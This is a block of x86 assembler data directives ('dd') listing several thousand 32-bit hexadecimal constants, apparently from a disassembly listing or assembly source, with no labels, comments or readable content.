		dd 51F4BEF4h, 24651834h, 2C34D8BAh, 10B970E8h, 0CD24BA00h
		dd 6BADA629h, 508B077h,	519ECAD0h, 34589582h, 0C39408F8h
		dd 0ED537D80h, 98202B88h, 79DC910Eh, 921801h, 0DCA71CA8h
		dd 0CA3270C7h, 7BBF7613h, 0BF60044h, 626ACCBh, 8D217468h
		dd 9FAF80BDh, 0D251D583h, 21D46900h, 3B1FE191h,	0F0AA3010h
		dd 4ADCEFB9h, 0C2947D00h, 620D0E05h, 954BA6Ch, 3A74F3Fh
		dd 8EE27045h, 8F0618BDh, 0F440AC00h, 0EE0D0A5Ch, 0F5F90029h
		dd 64595269h, 4912AE61h, 0DC28A7B1h, 0DE058CB7h, 327C1D3Ch
		dd 360E6CCEh, 8DCF3CD6h, 50B819A0h, 45F2BF98h, 400E0B0Ah
		dd 2017A8F7h, 0CB13D800h, 94F6F168h, 388AC68h, 0FF2ED60Bh
		dd 4F02848h, 5A1F8664h,	8C30FCD9h, 78722EE5h, 2F29977Ch
		dd 0E4A5103Ch, 249643C7h, 9AD881B4h, 0E25433A9h, 6DDF3007h
		dd 1499289Ah, 86E55778h, 0A91F70ECh, 0E817B6D4h, 0A8121C44h
		dd 4CC0D048h, 5CC7C283h, 0FE1A82Fh, 68708034h, 3A909B10h
		dd 21D1026Dh, 410C571Ah, 0A308949Dh, 7A9062E3h,	0A6F5A4E0h
		dd 2788F480h, 7417C417h, 8E808D91h, 0EFCB638h, 20682301h
		dd 2DBF236h, 0C0C08ECEh, 0BAD4707Fh, 93DC80C3h,	1B03F892h
		dd 924C06ADh, 5FDDF063h, 705700DBh, 15F12BFDh, 1E626A3Ah
		dd 615E05A8h, 0DC26C350h, 0DE9CCE24h, 6854B500h, 3CBC1A9Ah
		dd 1BAB0096h, 2AF0B827h, 8F304A29h, 1D7951F3h, 85C40264h
		dd 0B50F20BEh, 5A78D871h, 300086E5h, 28589209h,	2C4907E0h
		dd 8208DC0Eh, 799F8869h, 4ED67C48h, 4C140849h, 43A3BC64h
		dd 2F7801E3h, 62EE1372h, 71C38429h, 18A6B97Bh, 0FFF0B091h
		dd 0E0086BFh, 153EDFC8h, 696996Bh, 11CF9A2Eh, 1200A950h
		dd 0CC059092h, 1D7E07h,	0B2762DBCh, 0C0AC593Ch,	127A1E3Eh
		dd 0AC2F2785h, 0C7E4A510h, 81302F26h, 58FACBF1h, 4D82C89Eh
		dd 0D4C81BA3h, 896974Eh, 0F43E3191h, 848344Ch, 0DAC0CB88h
		dd 437C193Ch, 80228FD2h, 8F0D6B3Ch, 3658A0A6h, 580102ABh
		dd 5C277ECAh, 0F1E96CC1h, 0C0DC3866h, 494591CFh, 9C448C95h
		dd 91B70005h, 0A21FB555h, 2A05A89Ah, 12C3A4F2h,	0FFE24C8h
		dd 7AE2164h, 440EA000h,	0BC244904h, 0F8DCFC2Ah,	6DD98072h
		dd 17591D40h, 209D7B7Ch, 0A4502374h, 90A17180h,	0BE109C6h
		dd 5C972784h, 60E4A888h, 0DB4582FCh, 786AE20Ah,	0F28994ABh
		dd 0C3EC4D41h, 0D4A0E943h, 4CB820F0h, 742744h, 0E7D526A7h
		dd 21D84232h, 1B7A7CE8h, 1DE86B69h, 8084116Ch, 4AF4354Dh
		dd 7F52F405h, 40449E99h, 3A437C15h, 0CA9C4B50h,	0D3070890h
		dd 745D1EA2h, 6F979260h, 0F7D20123h, 12A16A3h, 0A2583393h
		dd 0CA45308Dh, 0A000947Eh, 0D77FAF76h, 0BC9C570h, 99FF649h
		dd 8BA61C40h, 4803BCB6h, 25154AD6h, 9C10CB18h, 79C77567h
		dd 0B4404726h, 7E12E819h, 0B0C21DF2h, 4099C0DEh, 868849CBh
		dd 0CC54261Dh, 817C012h, 1A2FB000h, 0A075E645h,	0A86212ACh
		dd 0F4FBD0h, 7D33C242h,	3954B783h, 430D2401h, 999ADCEBh
		dd 4D6861FEh, 0AA7EAE10h, 0ADFD6300h, 498642Ch,	14C0009h
		dd 84E88FC6h, 0BC94DF45h, 64CB926Eh, 54C00188h,	3D40C9Ch
		dd 0BB663A3Dh, 7D90D5CFh, 0B174BD2h, 6041BFFEh,	0B1737C80h
		dd 0C0168862h, 88008B5Ah, 353FC00Dh, 0C982F73h,	0A590320h
		dd 1C740E48h, 0E3C900C8h, 97E4EFE5h, 1FA64709h,	6EDCE707h
		dd 5B60E3C8h, 0B0557233h, 83767CB8h, 407A99A9h,	0D670DFF4h
		dd 0F5C1FD62h, 1638FA42h, 821ECBF4h, 0C4E04380h, 0F16198A5h
		dd 58ED9EA0h, 0F2CFB881h, 20BF1854h, 54A72834h,	18E55742h
		dd 30022A46h, 453F9EAFh, 444469h, 6EB3066Fh, 0ABEC4201h
		dd 0FA987100h, 44FD178Ch, 53D4033Ch, 611163FEh,	808B7139h
		dd 643D222Ch, 3E6265Ah,	3D6A3F0h, 95E8D9F1h, 2F000BDCh
		dd 3372441Ch, 69B7ECEh,	68F76A05h, 3B007926h, 0EA70B138h
		dd 0EAD23524h, 1208C67Fh, 3D38694Ah, 0CD440B0Eh, 0C1700167h
		dd 90C8F0F4h, 0C3D80141h, 12D73568h, 6231805Fh,	0A9FAA58h
		dd 348600F9h, 0C8E9B61Eh, 613C42F2h, 7C8A0769h,	0DAB0D006h
		dd 90A63709h, 0F610149Ah, 0C9FCC46h, 20C05722h,	5A15E609h
		dd 61B40F69h, 27E7A6CCh, 2B08643Dh, 2176A80Eh, 0A80E559h
		dd 43FE752Eh, 0E1A902BDh, 987DFDC7h, 49806871h,	5B84E08Fh
		dd 0C16E060Eh, 0A98C6827h, 78BDA200h, 0F53D187h, 0A5AC008Fh
		dd 4BA45808h, 5C026C44h, 340AE511h, 0C0A0E820h,	96132B3Dh
		dd 711B5858h, 0C788D602h, 41D1AE19h, 0DBDE5278h, 8FC8A1ECh
		dd 0E0C08F50h, 75A0EDE8h, 54527100h, 4BFAB7AAh,	1D8C9B8Bh
		dd 0F8C6458Ah, 0BC0E0A7h, 0AC9AEE71h, 4F76C713h, 54E9D882h
		dd 99465C2Ch, 0C728211Dh, 7C5F9C76h, 0E4A9DF50h, 4B286685h
		dd 0C23E02Fh, 0ABCD7300h, 5AA6D2A2h, 0D03420B9h, 0DA1D3206h
		dd 128C6AC6h, 94194Bh, 3407E5CCh, 2FE241B6h, 2A844D3Ch
		dd 5090BCCAh, 2B7D6725h, 0E58D680h, 7EE00F6Fh, 0C09F428h
		dd 0E3407018h, 0E7E144A9h, 205E246Dh, 4C426784h, 9124DE00h
		dd 0A4073AB6h, 6B2A4FC1h, 0CC8400D0h, 86507792h, 31BC0166h
		dd 2B0B4CAEh, 60302A1Dh, 0C9E2D470h, 30C6E781h,	465EBC94h
		dd 0AA560359h, 81979517h, 9C28FB0Ah, 0CFD08ECh,	2E18B87Ah
		dd 7C485D82h, 48008346h, 0F8CDE027h, 9F0046C0h,	0B22C24Ch
		dd 242D5D79h, 0E1E02C62h, 786C0EC1h, 0F7B818E4h, 6E574B1h
		dd 0BF4D862h, 0D701817Bh, 0CBD03505h, 2980EEB8h, 88F2FB20h
		dd 13001816h, 0FA3BB14Fh, 1E69FEBh, 8F4A8DF4h, 33330D6Ah
		dd 6D380Ch, 0ECBD95C2h,	88CB53h, 2A5170FCh, 713349DFh
		dd 0E8ED68E0h, 0A4CF67Fh, 0A80D927Ch, 0F980944Bh, 0BE70B8F3h
		dd 752DFEC7h, 0C13825ADh, 64F764E2h, 983633E3h,	5C81639Fh
		dd 0D2CB94BEh, 0EFD930E0h, 6D7A1F09h, 0E50CB071h, 0CCAF15FAh
		dd 6B4EFC4Dh, 0CC78009Ch, 919DCFA3h, 186D0024h,	0C3E54045h
		dd 70B8E1EAh, 70B3EEB0h, 4CF0D4D8h, 0A9039352h,	9ECC3F48h
		dd 306572AAh, 7B84651Eh, 9CA86FC5h, 0FA0FC207h,	41D80001h
		dd 0E93F7155h, 0E30DF53Eh, 286CE614h, 0A6D21C3Dh, 194AA024h
		dd 0A5D340Eh, 948B3F0h,	2B7745F5h, 3D249000h, 10780066h
		dd 765EF48Ah, 400E0CFDh, 28FA83Bh, 5CE64115h, 80491134h
		dd 0F2DBBA1Ah, 0BC00871Ch, 48C6BA21h, 49570998h, 9A04C14Ch
		dd 7FC8C1BBh, 67F0305Eh, 81812896h, 5BA893C1h, 90B45FCh
		dd 683F3243h, 2CC08C93h, 2000CC90h, 2367AC0Dh, 84B7040h
		dd 0BE754DCBh, 73DEE40Eh, 810258CCh, 91E184Dh, 3CF2DFBAh
		dd 0B8830065h, 0E039BA65h, 2746251h, 89840C6Bh,	98A74E12h
		dd 0FC6A50DEh, 740025CAh, 3BD795B7h, 355BC9E2h,	0B09E932Dh
		dd 0C511A214h, 0EC801605h
		dd 0AFE096B7h, 0E12D5301h, 0F9348B08h, 3D9C088Ch, 0E83B7320h
		dd 3F4380AFh, 0BD3EAE50h, 0B6C000B2h, 8D9BF08Bh, 0B70E563Bh
		dd 9FEF5560h, 0C30C3D0Eh, 0F075DCF3h, 666D3992h, 21F9084Bh
		dd 0F35D2A03h, 0D30226CEh, 0B06FB0BFh, 5F6907B2h, 0C1EA1047h
		dd 800C8629h, 22BC3C18h, 30D4EEB6h, 9798B58Bh, 4570785Dh
		dd 0E8196A06h, 60087208h, 48EC6091h, 0D1007865h, 0A93C0ABDh
		dd 0E5F3FBh, 0E4E4DA2h,	366550EDh, 981C8107h, 2D80EA15h
		dd 646A35BAh, 6063D18Eh, 23E1F352h, 4115375h, 0F35A2F00h
		dd 0DA089D58h, 0C716F00h, 8D1799A9h, 3E3D0A4Bh,	8EA8B2AFh
		dd 52E2E796h, 0B8B1E92Dh, 0EF74109Ah, 2E0C03AFh, 898E1077h
		dd 500722B8h, 4B7C8307h, 0B1D0DB66h, 18ECD725h,	3839CE5Ch
		dd 411D1DB6h, 504158CAh, 28BEB26Bh, 21260898h, 0CA3E39FAh
		dd 0E00C1D71h, 0F14AE641h, 0F5D00507h, 0E39000FEh, 1409E51Dh
		dd 0AA7F2C8Dh, 77889650h, 3FC8DF64h, 9D1C3C65h,	68C00C8Ch
		dd 0B9C10665h, 0BA0128E2h, 3B8AEBEDh, 0E85084D4h, 5777CFh
		dd 6A20665Ah, 0A37B53D6h, 10F68200h, 5C6F977Eh,	15DAF22Ch
		dd 0BCFC5665h, 0E1AAD700h, 7ACF980Ch, 0FF00DEEEh, 0EB79F057h
		dd 2875EAB7h, 4694918Bh, 0CA471E5Ah, 1140A37Ah,	62BC5F27h
		dd 0AA331A00h, 0D4DA3C9Ch, 2010309h, 0A84801F4h, 1CF9F64Ah
		dd 242B2DF8h, 8647F45h,	893D0423h, 18A6879h, 0EDB6212Ch
		dd 5E0E5C26h, 72084478h, 4C219BC6h, 20068077h, 9136CCB0h
		dd 0F8C24100h, 0ABB19761h, 3069F4BCh, 8660B2B4h, 0DF670FEh
		dd 0DC33F528h, 4CC0A654h, 0D8AC3CE8h, 7490E577h, 0E1F4F948h
		dd 3C20ED76h, 0C7990516h, 0FAB0019Ah, 0EF42C106h, 0F6BDF0D8h
		dd 0CC064921h, 0D869B606h, 0A0308892h, 0BDF649A7h, 5D653C1Fh
		dd 5A417A80h, 0FBBEF36Eh, 0C77A506h, 9A83F51h, 0FFA1A228h
		dd 4A750400h, 49F0B2B5h, 1049CA8h, 639BA402h, 0A01E86B0h
		dd 0CAECDFF8h, 9288FA09h, 0F5823CF4h, 9C9EF92h,	0CC04773Ch
		dd 0B5548231h, 0BBBE5B23h, 1531709Fh, 0C0FC195Ah, 0FE52F800h
		dd 0A47B3AC6h, 3CC3C15h, 0D5B602C8h, 4C59ECD0h,	0CA461F1Ch
		dd 8838915Bh, 3EFF802Bh, 9B6612CAh, 81B0A130h, 24155C03h
		dd 11441E26h, 0CA42835Dh, 3158AA57h, 3AFB1020h,	0FFAC00CAh
		dd 2FEB2224h, 0F85D0435h, 0DEAE13CAh, 0FB23BC3Ah, 83379F0Eh
		dd 804CEE84h, 0A01E8E29h, 442DEE8h, 883FF904h, 71C8C062h
		dd 1100FE57h, 9080FFEAh, 90831F09h, 0C92E0h, 57F4C617h
		dd 6DAF78EEh, 0EF0BB400h, 0C03C353Ah, 629913B3h, 4E80112h
		dd 47A4C229h, 0BA28FE8h, 2A033BCDh, 8CC87366h, 0E6F35F04h
		dd 0FA624B75h, 0F3472C20h, 53F90490h, 0D1D88A2Bh, 555CD5DCh
		dd 0E8BC08F4h, 47785BC1h, 92185AC1h, 634A31C0h,	1678478h
		dd 7EC00C9Ah, 0D9F32465h, 56E450AEh, 81DE6D2Ch,	2C55280Fh
		dd 0D211F2h, 0D8D47C25h, 2C108F89h, 4473E677h, 2DF3900Fh
		dd 86897870h, 0F03F5430h, 24D09DDh, 5097D0F6h, 0CD802A91h
		dd 0AF0FF39Eh, 0BBA350A8h, 4D462A00h, 0E07E2B57h, 82330A29h
		dd 908834h, 0B8AD3CECh,	20E5CDA1h, 423DB7B4h, 2B5A8126h
		dd 0B1F1A47Dh, 0FE319424h, 0FCCB212h, 1710CC81h, 0E1E2B620h
		dd 0F9180A44h, 3D20F87Bh, 669E1458h, 2DF120E8h,	0D0021914h
		dd 785730E4h, 3A464370h, 4E009422h, 5489785Fh, 362AFDh
		dd 46078829h, 0AFBD5618h, 54CD1C3Dh, 8700C090h,	0FE89F1DAh
		dd 3D83739Dh, 5501F7EDh, 345361D7h, 2054E111h, 1D8C5EC8h
		dd 5156CA43h, 80228860h, 6ECA3BF4h, 0EA006851h,	0E9277C6Ch
		dd 144CD498h, 0E879F686h, 44C147C8h, 28D55DCAh,	0FD801C33h
		dd 8519CA3Ch, 27864A0Ch, 4956192Eh, 0AC0E30F0h,	5E4098A5h
		dd 9E6387D5h, 0D188B305h, 0F40148E5h, 0FA11475h, 91CCAC30h
		dd 8BB40014h, 0F80A67CBh, 0C0366D0Eh, 9D97CAF9h, 0FA407703h
		dd 5094F06Eh, 0EC69CBE8h, 9F08581Dh, 3EA760B6h,	882CE298h
		dd 0E90BF0B3h, 11A49F63h, 44268001h, 10BD543h, 9E6D8041h
		dd 24A9A0DCh, 0A61FF974h, 0FC026AFEh, 0C04DFAD1h, 0E256F3F1h
		dd 3E49C0F6h, 85864B5Dh, 0F10097ECh, 0EE258D22h, 88B40AF3h
		dd 420AE360h, 982FCD47h, 339E080h, 8749Fh, 0B409F578h
		dd 0BBDD5842h, 2C52F900h, 6601027Ch, 3F6C90FBh,	0D00B6DDBh
		dd 0B81D5649h, 0E9819D91h, 0F417910Dh, 42395335h, 283A29A1h
		dd 721899D1h, 0A9E13802h, 0C00C9DBAh, 28828D94h, 7AC897BCh
		dd 81951E71h, 0D5F6C016h, 0B8444689h, 541CAC4Ah, 0C5E61D63h
		dd 28F12D51h, 0EE027538h, 9A2CF6AFh, 24BEE0ADh,	1266E063h
		dd 6B977EBh, 0C86BE8A4h, 0DC3B3B46h, 0C12D578Ah, 0E46F708Ch
		dd 27A7AF1Eh, 405C6C0Dh, 8C3A8808h, 2DFAE377h, 9F22C946h
		dd 0AFEB7000h, 77D0C7E4h, 222C24FCh, 0ABB60290h, 6C506B1Dh
		dd 1F94F417h, 1CDF4820h, 56DF88Bh, 4D458FCDh, 80B7C65Ah
		dd 9E645F49h, 75DDF342h, 10F83133h, 6F35E2Bh, 0E904754Ah
		dd 0BB097918h, 678E9D45h, 80114E98h, 731082C2h,	24E67750h
		dd 8FC0229h, 0A0BE0869h, 0EC5533EAh, 0C9F04139h, 0BCB0A011h
		dd 19EB5630h, 984AE3h, 12D26FCEh, 0EE269483h, 0F46D3A1Ch
		dd 0E5240265h, 0BBA70135h, 4AB87451h, 16F5F603h, 7851477h
		dd 988A2C79h, 88A85A9Ch, 34062378h, 1539EC58h, 0CCB303F3h
		dd 0DB84A700h, 0F73CF687h, 0BAA6D20Dh, 8C0229C1h, 0F3503065h
		dd 4375E712h, 2D00BCCBh, 0ACEDF358h, 1D6F407Dh,	89FEA9A0h
		dd 9F602093h, 46228Fh, 0A6A041B1h, 0AC100FBBh, 0D3A93901h
		dd 8775F46Fh, 39B58820h, 844C682Ch, 8C91FCh, 3E0414C8h
		dd 2C023F58h, 418D6933h, 3368182h, 69561C30h, 346DC170h
		dd 0B29C1AC0h, 0E248A3h, 11267D10h, 3D03B9A6h, 1E350415h
		dd 0BBEE1800h, 3B8AF12Ch, 6879D4EDh, 18C04E8h, 8A9ABCFEh
		dd 8063D501h, 24F72DF9h, 3E30CE20h, 454AA6FDh, 0DBD7B67Ch
		dd 298C8E6Ch, 0CD301870h, 4521C135h, 0E31C3A88h, 7CA791D0h
		dd 9F56DE3Fh, 0D8F4E318h, 0CBE044E6h, 60EC2DF4h, 0C06140C8h
		dd 75E3F354h, 0E0582358h, 1F35C29h, 0FEA0A62Ch,	0F175218Ah
		dd 2B40606Dh, 0BD424D00h, 0BF33AF2h, 508CA85Fh,	34E24BB0h
		dd 0F20CA2ACh, 60713024h, 0A6E65E0Ah, 85C2FCB0h, 0ED25003Fh
		dd 0BF2E024Ah, 300C50AEh, 1B0413Bh, 1594C5A1h, 80ADAFEAh
		dd 95D8AB99h, 0CBD98Ch,	0E6BE76BFh, 3816A04Dh, 946682h
		dd 0D337DC63h, 4336E389h, 30A13400h, 50957DEFh,	9CAE0B6Fh
		dd 28174C88h, 8C809C91h, 16F1157Bh, 5C5B0C1Eh, 0B22C2067h
		dd 7936F8B1h, 0A678008Fh, 907A706Bh, 0E0C4F79Dh, 564A3D32h
		dd 78C04088h, 9008FC6h,	0C8DC54D2h, 0BE5039h, 2DE9CDB3h
		dd 34FBD09Ah, 0D4E439CAh, 8B04B011h, 0C1901C82h, 0F90243D8h
		dd 0B81828D0h, 0A1008C26h, 0E8936D55h, 4FA0ADEDh, 23DC2FB1h
		dd 75C032Bh, 32890197h,	0F72434E9h, 0F4D6CC88h,	0EA09B047h
		dd 0CEE20EB4h, 0AA29DBB1h, 9FE4DCE5h, 62C80E60h, 0FC08174Fh
		dd 71E2C739h, 68D12D55h, 4071B260h, 98DC2Bh, 0FCF4D146h
		dd 0F903E6ABh, 0B80ADF34h, 2399AC82h, 71C02C7Ch, 86000B8Fh
		dd 0C6F4DB26h, 0AA1BE7h, 0F8215890h, 0A444AC35h, 9313E490h
		dd 0CC8BD792h, 4FC02588h, 407BCE8h, 0C9993C89h,	0B05CF0A8h
		dd 28C4188h, 3C7C0EF7h,	0B07A2C79h, 6848F624h, 0E4095C26h
		dd 0A4811A1h, 0C41CCCh
		dd 0AF2742B4h, 0ADD1A547h, 0CA09C000h, 0F3EF6638h, 31B6620Ah
		dd 4040E357h, 495DA285h, 28200104h, 89D1B8A7h, 349B8845h
		dd 0FD4434CEh, 0E024E6DDh, 13ED77F4h, 14389914h, 0D0D2881Ch
		dd 803A7828h, 25026E0h,	6492DCE0h, 2024384Ch, 0BF2D1796h
		dd 34B40458h, 658A051Bh, 523682Eh, 0BF22D403h, 60F19835h
		dd 0F07A3201h, 0F067E578h, 13600544h, 0F8057CB4h, 0AAA07AB3h
		dd 0F753C840h, 78BDCBh,	857D6061h, 0DE626FF8h, 6B742D13h
		dd 3A2AD891h, 90BE8310h, 0A54E6870h, 2B2DE840h,	0F0C86F40h
		dd 79FD6256h, 0A0606D60h, 971C7490h, 4602C64Fh,	40B9E304h
		dd 0C725FE6h, 0A76A2DDDh, 0E8000849h, 57ABFBEAh, 94D070DBh
		dd 2100DCC8h, 2F9C8814h, 0E3B881h, 0BABE4FE5h, 0AD4B6AB4h
		dd 17148C5Ch, 43E8891h,	0EA00FB23h, 453CA1DBh, 0D21D68E3h
		dd 0B05501F8h, 208B6999h, 19260208h, 0DE895412h, 0C02CCD47h
		dd 0E11F9CC9h, 0F30563E2h, 4F47CBBFh, 8274B481h, 298C5028h
		dd 9860D5A1h, 1D334F61h, 8E4D0087h, 3EBC9136h, 0FCED2A05h
		dd 0A02A03D3h, 54999C82h, 60189ED1h, 1E108E1Ch,	9AAA290Fh
		dd 0D1AC60E8h, 0F602808Dh, 5479B70Ch, 0F31198h,	2B2EC4B1h
		dd 0BD0DAB48h, 0BA9C2750h, 53D6411Fh, 0E8C87D14h, 621E8CF9h
		dd 7F8C0856h, 946D88F1h, 692C04F4h, 2368A276h, 785907EAh
		dd 0E24A0541h, 614CC144h, 0FBC3F378h, 1358E6EAh, 44C8693Ch
		dd 40AAAF9Ch, 71351957h, 887203FBh, 1C13FF5Eh, 0ED43F980h
		dd 29E338CEh, 0CD2C68FDh, 17B6802Eh, 7545700h, 0D8B93499h
		dd 0FCF600DFh, 6723CB3Bh, 0A12DB1D9h, 555405E1h, 8B4951C0h
		dd 2F3B5B8Dh, 3052318h,	61493896h, 6C07EBE9h, 957C80FCh
		dd 0E1BB3Fh, 78FD1471h,	0E6CC8D17h, 0AC20E541h,	45588C58h
		dd 30587DC8h, 3DFEE0FCh, 0EA60BCAh, 6E002D46h, 0F7E3F549h
		dd 0F6C87707h, 4BE4F08Bh, 0EF23BCF7h, 46785C07h, 0D0386205h
		dd 78640549h, 47A8A0F9h, 2703AAC4h, 0A7EE04Ch, 2A0BB82Bh
		dd 45049FBDh, 602AE474h, 1471A6C9h, 0DC11B10Ch,	99E80458h
		dd 8669008Ch, 0F7AB402Ch, 35E21483h, 1C9D5B00h,	0FC750C9Ch
		dd 60106120h, 226C2C65h, 0ACAF18E0h, 2D9049h, 0DB244B32h
		dd 0EB67C571h, 8156423Dh, 6570839h, 4E60A769h, 283C2443h
		dd 0A1A088E8h, 0D1E48C80h, 0D07412h, 21138F59h,	3CE1F90Dh
		dd 69E2E801h, 577601D7h, 0EBC4A4D2h, 42785860h,	4CD9CAE1h
		dd 78604D60h, 0ED35005Dh, 0CDAAEA63h, 6D0013F4h, 0CCB0BA29h
		dd 244A3B8Ah, 1E68BC02h, 0A2D20C5h, 11901DF6h, 0DE68005h
		dd 0A808F1Dh, 0B1C403A6h, 80BC24BAh, 0ABF6F847h, 0C09E963Ah
		dd 4D7C5002h, 758C811Ch, 1838A514h, 0C6643401h,	3CF245EBh
		dd 0B8384DB0h, 613F0ED1h, 11834FF3h, 0F2EC1F8Eh, 0A82F4AB0h
		dd 8C078C70h, 0A8F8983Ah, 431F6D81h, 40C3CC20h,	28B44BAAh
		dd 0A0465Ch, 0BF3C61FCh, 4CAA1901h, 508468EEh, 2B8602A0h
		dd 17B6073Bh, 18A35679h, 2C406DFEh, 213E67CEh, 0DFA4A1E2h
		dd 0A6908B7Ah, 0F3D468BDh, 80289437h, 2DFD7B35h, 0AC9ECBE4h
		dd 9B145379h, 0A56EC068h, 5CECAC9h, 62901DCh, 81449004h
		dd 47828AFCh, 0B69142FCh, 74D01A19h, 85DC16A1h,	0AA6448BEh
		dd 37CD5704h, 8E24C8h, 64AE404Bh, 0F31685E2h, 4800152h
		dd 8AC9B28Dh, 84DD8C0h,	22E201C0h, 0CFBE9793h, 6A918388h
		dd 0E104E01h, 87C730B8h, 60E39066h, 6471160Ch, 122B798Fh
		dd 79B9B2h, 5532982Ch, 0B40AA1B8h, 0A8EA11F3h, 5D25BA3Fh
		dd 3DFEC6Ch, 2DF12494h,	0A1768C6Ch, 1A743503h, 4BCCC8Eh
		dd 141FDDF9h, 2AB0F0A1h, 0CE4D4800h, 63AE4130h,	251491B0h
		dd 24915417h, 0AF2DB880h, 6409F6FEh, 8996305Ch,	0C418E776h
		dd 0E21F6006h, 0C0B500C7h, 0BBEF5B79h, 4C98CAE0h, 0D0CB78D3h
		dd 2787DA09h, 554418E6h, 8A191404h, 0DD00D816h,	0AA2CD177h
		dd 8E546AC5h, 3C3093F4h, 0A3D438E2h, 0DB1F03C4h, 30CDD270h
		dd 35E3511Ch, 0EF16D68Ah, 7C260603h, 0F872818Ah, 5DA1874h
		dd 682CB1CBh, 3BC412FFh, 9023CCh, 5349D252h, 3402C716h
		dd 3E212F4Ch, 5EFCD8E8h, 0E1084B36h, 0DEB02CA8h, 0B41E0C00h
		dd 0E6E8CF07h, 99BA258Ch, 0B840B842h, 0C89E08ADh, 64474C83h
		dd 0FBD80283h, 0CD78F337h, 9F80F45Ch, 1FA602D9h, 0F73004A9h
		dd 0E05744E0h, 5C017824h, 54D59DE5h, 0EC237CDEh, 64309DA2h
		dd 0E843FF37h, 7CCAE401h, 447F183Eh, 39407D88h,	988219B5h
		dd 0FC9CD07Ch, 78308A2Dh, 38CA1095h, 70179D4Ch,	1B819E11h
		dd 0CDAD9CACh, 0BC806844h, 41F8C27h, 0EDD40A9h,	0D4071052h
		dd 64F06944h, 0A8896D2Ch, 4E55578Ch, 0D49000DCh, 0B7C526A2h
		dd 2D1A125h, 2AAFF164h,	3DC097Ch, 3C04E289h, 0CDC80283h
		dd 2C593Ah, 0C24EBECCh,	891C9154h, 8039353Fh, 720530F4h
		dd 5EBF2EE4h, 23642F58h, 0A72B0005h, 0F11316F9h, 72297812h
		dd 7BDBA0B0h, 11E501A2h, 0B7F88BC4h, 0ED188218h, 7A2F863Ch
		dd 0FE553074h, 5042FD51h, 1F1CE901h, 300B09A7h,	2A9CAC4h
		dd 24E26BB9h, 0A8795803h, 9C1821F9h, 5F1DC205h,	85844EF7h
		dd 0E8810885h, 2A00166Ch, 875919BAh, 25B63800h,	6150897Eh
		dd 0F214511Ch, 309BF250h, 1D3D2506h, 320B8445h,	58D8864Ch
		dd 80E07971h, 970261F1h, 8D555AD6h, 5E3C5CE3h, 0C70E9F46h
		dd 0B9A043FCh, 0D07F903h, 7080229Dh, 45AD0190h,	186B3AD7h
		dd 9F290503h, 91F7352Eh, 20CFD1E1h, 58C6420h, 75E0F351h
		dd 0C5D0E25Bh, 0C2C0592Eh, 0EBF5F65h, 0A6BA77B3h, 6D84D056h
		dd 0CA00E3D6h, 0DE7A9370h, 496E0AF3h, 8B097C3Fh, 10CD22BBh
		dd 30802560h, 8712406Eh, 0F571E961h, 7874B91Ch,	7778012Ah
		dd 0A5B22CA7h, 0AD082086h, 5034A05Bh, 9EAC74A8h, 9162028Ch
		dd 0BD02F38Fh, 8D45E840h, 0D1DEE283h, 18207984h, 1D977E7Eh
		dd 847242E5h, 0B8D75E3Ch, 8C29B8E4h, 0A111DD05h, 4802975Dh
		dd 0AE18742Dh, 4619059Ch, 9286D4D2h, 0DC805ED0h, 1642D902h
		dd 54B5AA85h, 448427C0h, 0E258E2D7h, 66D83324h,	357254E8h
		dd 28CF5A00h, 0A6D0270Ah, 0D01E4ABBh, 5E29F500h, 0DD4E03E8h
		dd 20238C2Fh, 1331E600h, 4B8669Ch, 82AA8305h, 0DA14A01Ch
		dd 21FCC959h, 1893F9D9h, 182200B3h, 294ECA7Ch, 7CFF3F13h
		dd 10DC94B8h, 5877B19Ch, 3040185Ah, 5F8042Dh, 0F8F36224h
		dd 8C26BC00h, 0AF7EE80Fh, 438FC039h, 0B43A2102h, 0F4550A84h
		dd 9CFC80E0h, 4FC765EBh, 755D3C1Fh, 0E25F849h, 21DEE298h
		dd 243C767Bh, 4CF111F0h, 8C25E894h, 8661C901h, 32564357h
		dd 0CC1781A5h, 7C85F991h, 98E204h, 97FD0D73h, 4CACB1DDh
		dd 91BCAC22h, 2466008Ch, 0DB329DA8h, 7726D4CBh,	0DF8018B5h
		dd 0DA85835Fh, 421302B0h, 1F0E30CEh, 702A48Eh, 6C7936E9h
		dd 0FB192B79h, 0C9F7AFB8h, 9452A01Fh, 0C757DC1h, 8C382CFDh
		dd 85AC8209h, 0B1BC4805h, 6DF261F4h, 0B85274FCh, 0F63E7C9Ch
		dd 8C245AC2h, 83374D9h,	9E3020A2h, 66A3032Bh, 0FAED11C9h
		dd 97CA2E5h, 0D0A4FC77h, 0FD2528F4h, 82320D98h,	41208494h
		dd 2B333118h, 0AC40F411h, 120A012Dh, 8FC5F142h,	80F87019h
		dd 4A608D60h, 1DBDDF08h, 5AF90AF4h, 8402E8F5h, 7C58E30Bh
		dd 0B8E84C4Dh, 0FAFB123Ah, 96D40415h, 4C7C00F0h, 7122B17Dh
		dd 0B9A616F7h, 81F4D28Dh, 4E1E2920h, 0DC941C8Bh, 28DD0117h
		dd 2F4652B2h, 623B43Bh
		dd 434FBE00h, 0C3D5B934h, 9469A2B8h, 0C9A45025h, 782621E8h
		dd 444602E0h, 0FED1401Ch, 20F45753h, 0D5F40023h, 0DD78702Dh
		dd 0C70127FBh, 8513032Eh, 28285FB6h, 778C06BCh,	0DD2F2F8h
		dd 0C19ED3AEh, 0EC219460h, 0FDE310E0h, 0E33B35C5h, 309AB288h
		dd 0E701C3A4h, 0D5217FBAh, 68742D55h, 40CE5B57h, 7A17942Ch
		dd 68FAA69Ch, 75C742C0h, 9312E4h, 86F799D5h, 0A1B09DD0h
		dd 0FCB67D73h, 4C823302h, 7C704680h, 0A1888311h, 28C7B321h
		dd 7151B802h, 108081F0h, 0EF84F72Dh, 0B91FB4CEh, 2C8AF960h
		dd 240E06Ah, 0A00EDE01h, 9EDBE80h, 0F8A7E6C2h, 9704CFBh
		dd 6DB31C3Eh, 20CD8103h, 708D7CFBh, 8E828B78h, 5709E0E1h
		dd 37DE827h, 0CFC22271h, 2DE0486Dh, 8406DEBBh, 9F21990Eh
		dd 452B28C1h, 5EB094FCh, 6B049F46h, 0E9CB9121h,	6C660084h
		dd 7570C430h, 37360090h, 5C51F1C0h, 6498E708h, 71DCBC13h
		dd 270A8408h, 0B279A8C4h, 92B06600h, 0C049BEE6h, 43FF004Dh
		dd 30C5D003h, 840476CDh, 6E288A2Ah, 0DC429482h,	0D87105F8h
		dd 0E8E88765h, 7C43D8B2h, 16BD2CA4h, 5498E06Fh,	8A5BA542h
		dd 0C09EC8F4h, 942644A5h, 30F4770Dh, 421C02Fh, 12077CF1h
